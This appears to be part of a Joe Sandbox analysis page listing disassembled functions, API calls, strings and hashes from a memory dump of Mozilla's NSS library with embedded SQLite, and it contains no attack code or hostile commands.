Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: c63ee32a882def3eab86ab0da8de2da8a27cfa7a79f26545318d721529acdd4a
Instruction ID: b8c2f13f2c6d120a2c0e645878d2398f77352178374a0f1a0a2ea9851bc792a4
Opcode Fuzzy Hash: c63ee32a882def3eab86ab0da8de2da8a27cfa7a79f26545318d721529acdd4a
Instruction Fuzzy Hash: 065206B1E01205ABEF108F66DC09BAE7BB4BF06348F144138ED19A7E41E771D954CB9A

Function 6C68BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C68C0C8

Part of subcall function 6C719440: LeaveCriticalSection.KERNEL32 ref: 6C7195CD
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719622
Part of subcall function 6C719440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C71964E

PR_EnterMonitor.NSS3 ref: 6C68C0AE

Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C7191AA
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719212
Part of subcall function 6C719090: _PR_MD_WAIT_CV.NSS3 ref: 6C71926B

Part of subcall function 6C640600: GetLastError.KERNEL32(?,?,?,?,?,6C6405E2), ref: 6C640642
Part of subcall function 6C640600: TlsGetValue.KERNEL32(?,?,?,?,?,6C6405E2), ref: 6C64065D
Part of subcall function 6C640600: GetLastError.KERNEL32 ref: 6C640678
Part of subcall function 6C640600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C64068A
Part of subcall function 6C640600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C640693
Part of subcall function 6C640600: PR_SetErrorText.NSS3(00000000,?), ref: 6C64069D
Part of subcall function 6C640600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,16F469E3,?,?,?,?,?,6C6405E2), ref: 6C6406CA
Part of subcall function 6C640600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C6405E2), ref: 6C6406E6

PR_EnterMonitor.NSS3 ref: 6C68C0F2
PR_ExitMonitor.NSS3 ref: 6C68C10E
PR_ExitMonitor.NSS3 ref: 6C68C081

Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C71945B
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719479
Part of subcall function 6C719440: EnterCriticalSection.KERNEL32 ref: 6C719495
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C7194E4
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719532
Part of subcall function 6C719440: LeaveCriticalSection.KERNEL32 ref: 6C71955D

PR_EnterMonitor.NSS3 ref: 6C68C068

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C640600: GetProcAddress.KERNEL32(?,?), ref: 6C640623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C68C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C68C183
free.MOZGLUE(00000000), ref: 6C68C18E
PR_LoadLibrary.NSS3(?), ref: 6C68C1A3
PR_EnterMonitor.NSS3 ref: 6C68C1D4
PR_ExitMonitor.NSS3 ref: 6C68C1F3
PR_CallOnce.NSS3(6C7B2318,6C68CA70), ref: 6C68C210
PR_EnterMonitor.NSS3 ref: 6C68C22B
PR_ExitMonitor.NSS3 ref: 6C68C247
PR_EnterMonitor.NSS3 ref: 6C68C26A
PR_ExitMonitor.NSS3 ref: 6C68C287
PR_UnloadLibrary.NSS3(?), ref: 6C68C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C68C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C68C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C68C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C68C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C68C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C68C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C68C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C68C8D5
free.MOZGLUE(00000000), ref: 6C68C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C68C9E5
free.MOZGLUE(00000000), ref: 6C68CA5A

Strings

NSS_ReturnModuleSpecData, xrefs: 6C68C275
NSC_ModuleDBFunc, xrefs: 6C68C0FC
NSC_GetFunctionList, xrefs: 6C68C093
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C68C38D
nss_mod_log, xrefs: 6C68C3CC
FC_GetFunctionList, xrefs: 6C68C098
NSS_FORCE_TOKEN_LOCK, xrefs: 6C68C77D
NSC_GetInterface, xrefs: 6C68C04F
NSS_DISABLE_UNLOAD, xrefs: 6C68C7B0
Vendor NSS FIPS Interface, xrefs: 6C68C34A
FC_GetInterface, xrefs: 6C68C054
PKCS 11, xrefs: 6C68C2F9, 6C68C314

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 32022aea34f38bb9ef284d4f322a8b24f6e0a006a616c5d74447d81d60ea0bf4
Instruction ID: bfc164059f426a90be17f7173d43e6af8aaabf75737d0e53c750dc60fc8f5212
Opcode Fuzzy Hash: 32022aea34f38bb9ef284d4f322a8b24f6e0a006a616c5d74447d81d60ea0bf4
Instruction Fuzzy Hash: 4142A0B1A062049FDF00DF54D88AF9A3BB0FB46348F058138D90A9BB61E731D555CBAD

Function 6C763FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C763FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C763FFE
malloc.MOZGLUE(-00000003), ref: 6C764016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C79FC62), ref: 6C76404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C76407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7640A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7640D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764112
malloc.MOZGLUE(00000000), ref: 6C76411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C76414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764160
free.MOZGLUE(?), ref: 6C76416C
malloc.MOZGLUE(?), ref: 6C7641AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C7641EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C764520), ref: 6C764244
GetEnvironmentStrings.KERNEL32 ref: 6C76424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7642B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7642E4
malloc.MOZGLUE(00000002), ref: 6C7642FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C764342
GetStdHandle.KERNEL32(000000F6), ref: 6C7643AB
GetStdHandle.KERNEL32(000000F5), ref: 6C7643B2
GetStdHandle.KERNEL32(000000F4), ref: 6C7643B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C764403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764410

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C76445E
CloseHandle.KERNEL32(?), ref: 6C76446B
free.MOZGLUE(?), ref: 6C764482
free.MOZGLUE(00000000), ref: 6C764492
free.MOZGLUE(00000000), ref: 6C7644A4
GetLastError.KERNEL32 ref: 6C7644B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C7644BE
free.MOZGLUE(?), ref: 6C7644C7
free.MOZGLUE(00000000), ref: 6C7644D5
free.MOZGLUE(00000000), ref: 6C7644EA

Strings

=, xrefs: 6C7644F8
D, xrefs: 6C764396
NSPR_INHERIT_FDS=, xrefs: 6C7641E9

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 71cd1855b92fe98a96afd56518ecd5b1af6f87e2b98989fb8d76b7deb5b65d0a
Instruction ID: 23935f0d9413965d2c645673b8da9021651e89a91f21d93ee0585dd14c0b0eec
Opcode Fuzzy Hash: 71cd1855b92fe98a96afd56518ecd5b1af6f87e2b98989fb8d76b7deb5b65d0a
Instruction Fuzzy Hash: B202F470E043559FEB10CFAACA947AEBBB4AF06308F244179EC65A7F41D7319804DB91

Function 6C6B4840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C69601B,?,00000000,?), ref: 6C6B486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6C6B48A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6C6B48BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6C6B48DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6C6B48F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6C6B490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6C6B4919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6C6B493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4970
PORT_Alloc_Util.NSS3(00000001), ref: 6C6B49A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C6B49AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B49D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6C6B49F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6C6B4A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6C6B4A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6C6B4A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6C6B4A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6C6B4A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6C6B4A81
free.MOZGLUE(00000000), ref: 6C6B4AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C6B4ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6C6B4ADC
free.MOZGLUE(00000000), ref: 6C6B4B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C6B4B33

Part of subcall function 6C6B4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B413D
Part of subcall function 6C6B4120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C6B4162
Part of subcall function 6C6B4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B416B
Part of subcall function 6C6B4120: PL_strncasecmp.NSS3(2Bkl,?,00000001), ref: 6C6B4187
Part of subcall function 6C6B4120: NSSUTIL_ArgSkipParameter.NSS3(2Bkl), ref: 6C6B41A0
Part of subcall function 6C6B4120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B41B4
Part of subcall function 6C6B4120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6C6B41CC
Part of subcall function 6C6B4120: NSSUTIL_ArgFetchValue.NSS3(2Bkl,?), ref: 6C6B4203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6C6B4B53
free.MOZGLUE(00000000), ref: 6C6B4B94
free.MOZGLUE(?), ref: 6C6B4BA7
free.MOZGLUE(00000000), ref: 6C6B4BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4BC8

Strings

hasRootTrust, xrefs: 6C6B4B4D
rootFlags, xrefs: 6C6B4AB9, 6C6B4B2E
hasRootCerts, xrefs: 6C6B4AD6
every, xrefs: 6C6B4A66
timeout, xrefs: 6C6B4A38, 6C6B4A7B
askpw, xrefs: 6C6B4A4A
slotFlags, xrefs: 6C6B4A22

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: ff93d36eb948850ef000714f4fe22bbf3cd1bbccf9ce43fb02e75c62736be072
Instruction ID: d0bf54ce02af0a4edab2978d1b809bc9bdec7a8af08ff2bd5fb77fdc971bf921
Opcode Fuzzy Hash: ff93d36eb948850ef000714f4fe22bbf3cd1bbccf9ce43fb02e75c62736be072
Instruction Fuzzy Hash: D8C11670E452559FEB009FA89C40BBE7BB8AF06308F180079ED55B7B01E7B1D924C7A9

Function 6C676D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C77A8EC,0000006C), ref: 6C676DC6
memcpy.VCRUNTIME140(?,6C77A958,0000006C), ref: 6C676DDB
memcpy.VCRUNTIME140(?,6C77A9C4,00000078), ref: 6C676DF1
memcpy.VCRUNTIME140(?,6C77AA3C,0000006C), ref: 6C676E06
memcpy.VCRUNTIME140(?,6C77AAA8,00000060), ref: 6C676E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C676E38

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C676E76
TlsGetValue.KERNEL32 ref: 6C67726F
EnterCriticalSection.KERNEL32(?), ref: 6C677283

Strings

!, xrefs: 6C677123

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: cbf9935b07b4f8437322e8285c271ebdc04b3272544acce4d2a0c77f58947c04
Instruction ID: a0762196239a323abfd35addf185e031389bad86fbd11ab7c43b1b5a9c4769e8
Opcode Fuzzy Hash: cbf9935b07b4f8437322e8285c271ebdc04b3272544acce4d2a0c77f58947c04
Instruction Fuzzy Hash: 7B729E75D052199FDF21CF28CC8879ABBB5EB49304F1445A9E80CA7701EB31AA85CFA5

Function 6C5E3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C5E3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C5E410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5E449C

Strings

%s at line %d of [%.10s], xrefs: 6C5E4495, 6C5E44F9, 6C5E459E, 6C5E4769, 6C5E4809
database corruption, xrefs: 6C5E4490, 6C5E44F4, 6C5E4599, 6C5E4764, 6C5E4804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E4452, 6C5E4486, 6C5E44EA, 6C5E4571, 6C5E4580, 6C5E458F, 6C5E475A, 6C5E47FA

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 3d47af78744439ce07bd33391a7b8c4c4c71d718abd35ec90f22400094938668
Instruction ID: b39231fc6646ed9759bb5b54d2c4575b348b7eccfbc0ac5690f5997df00c517c
Opcode Fuzzy Hash: 3d47af78744439ce07bd33391a7b8c4c4c71d718abd35ec90f22400094938668
Instruction Fuzzy Hash: 7D82A375A04205CFCB04CFA9C984B9EB7B2BF4D318F2585A9D905ABB61D731EC42CB91

Function 6C6BAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6BACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C6BACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C6BACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C6BAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C6BADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BADF0

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6BB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6BB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6BB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C6BB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6BB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BB40C

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 4134caf94f91c36ffc25a8402a65d21032f80c7b25c2e30ab3c2ea9ce8a0ecc5
Instruction ID: 55dc86e3d85ddee7acbb1eb7ab738f2044b414fd00b935375330946e1411942d
Opcode Fuzzy Hash: 4134caf94f91c36ffc25a8402a65d21032f80c7b25c2e30ab3c2ea9ce8a0ecc5
Instruction Fuzzy Hash: 7922B171904301AFE710CF14CC84BAA77E1AF8530CF14857CE9596B792E772E869CB9A

Function 6C601F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6025F3

Strings

no such table: %s, xrefs: 6C6026AC
a NATURAL join may not have an ON or USING clause, xrefs: 6C6032C1
'%s' is not a function, xrefs: 6C602FD2
no tables specified, xrefs: 6C6026BE
cannot have both ON and USING clauses in the same join, xrefs: 6C6032B5
recursive reference in a subquery: %s, xrefs: 6C6022E5
access to view "%s" prohibited, xrefs: 6C602F4A
too many references to "%s": max 65535, xrefs: 6C602FB6
%s.%s.%s, xrefs: 6C60302D
table %s has %d values for %d columns, xrefs: 6C60316C
%s.%s, xrefs: 6C602D68
no such index: "%s", xrefs: 6C60319D
multiple recursive references: %s, xrefs: 6C6022E0
unsafe use of virtual table "%s", xrefs: 6C6030D1
too many columns in result set, xrefs: 6C603012
cannot join using column %s - column not present in both tables, xrefs: 6C6032AB
H, xrefs: 6C60322D
H, xrefs: 6C60329F

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 1c0043ce0f9ca4074ed2ecd78db43d52b2651509ce8305af52b756e024c8619e
Instruction ID: 5b53488fc50b79662d8843b336a581a44049c7e70e31fe1dc69c78b18773f816
Opcode Fuzzy Hash: 1c0043ce0f9ca4074ed2ecd78db43d52b2651509ce8305af52b756e024c8619e
Instruction Fuzzy Hash: D6D25B74F042098FDB08CF99C688BDDB7B2BF49308F288169D955BBB51D731A846CB58

Function 6C63ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C63ED38

Part of subcall function 6C5D4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C63EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C63EFE4

